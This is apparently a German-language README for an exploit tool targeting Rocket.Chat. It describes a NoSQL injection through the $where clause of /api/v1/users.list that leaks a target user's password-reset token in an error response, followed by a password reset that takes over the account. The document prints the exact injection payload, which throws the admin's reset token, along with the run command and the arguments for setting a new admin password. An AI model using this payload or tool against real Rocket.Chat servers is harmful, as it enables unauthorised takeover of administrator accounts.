
Automatisierter NoSQL-Injection-Exploit für Rocket.Chat, der Passwort-Zurücksetzungs-Token über die $where-Klausel preisgibt und eine nicht authentifizierte Übernahme von Konten durchführt.
Ein automatisiertes Exploit-Skript für Rocket.Chat (und Meteor-basierte Anwendungen), das eine NoSQL-Injection über die $where-Klausel ausnutzt, um Passwort-Reset-Tokens durch serverseitige Ausnahmen preiszugeben. Sobald das Token geleakt ist, führt das Skript einen nicht authentifizierten Passwort-Reset durch.
Authentifizierung: Das Skript authentifiziert sich als normaler Benutzer, um Zugriff auf den Endpunkt /api/v1/users.list zu erhalten.
NoSQL-Injection: Es verwendet den query-Parameter, um eine $where-JavaScript-Klausel zu injizieren.
Datenextraktion: Durch die Verwendung der throw-Anweisung innerhalb der Injection wird der Server gezwungen, einen Fehler vom Typ "uncaught exception" zurückzugeben, der das Passwort-Reset-Token des Zielbenutzers enthält.
Kontoübernahme: Das Skript verwendet das geleakte Token, um resetPassword aufzurufen und das Passwort des Zielkontos zu ändern.
Python 3.x
requests-Bibliothek
Bash
pip install requests
Bash
python3 exploit.py --url http://<TARGET_IP>:3000\
-u <YOUR_USER>\
-p <YOUR_PASS>\
-a <TARGET_ADMIN_USER>\
-ap <NEW_ADMIN_PASSWORD>
Der Kern des Exploits ist die Injection-Zeichenfolge:
JavaScript
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
Wenn sie vom Server verarbeitet wird, führt die Datenbank-Engine die anonyme Funktion aus, stürzt beim throw ab, und die Anwendung fängt die Ausnahme ab, wobei sie unbeabsichtigt das geheime Token im JSON-Fehlerresponse an den Benutzer weitergibt.
| Argument | Long Flag | Beschreibung |
|---|
-u | --user | Ihr gültiger Benutzername oder Ihre E-Mail für die erste Authentifizierung. |
-p | --password | Ihr gültiges Passwort. |
-a | --admin | Der Benutzername des Kontos, das Sie zurücksetzen möchten. |
-ap | --admin-pass | Das neue Passwort, das für das Administratorkonto festgelegt werden soll. |
--url | Die Basis-URL der Rocket.Chat-Instanz. |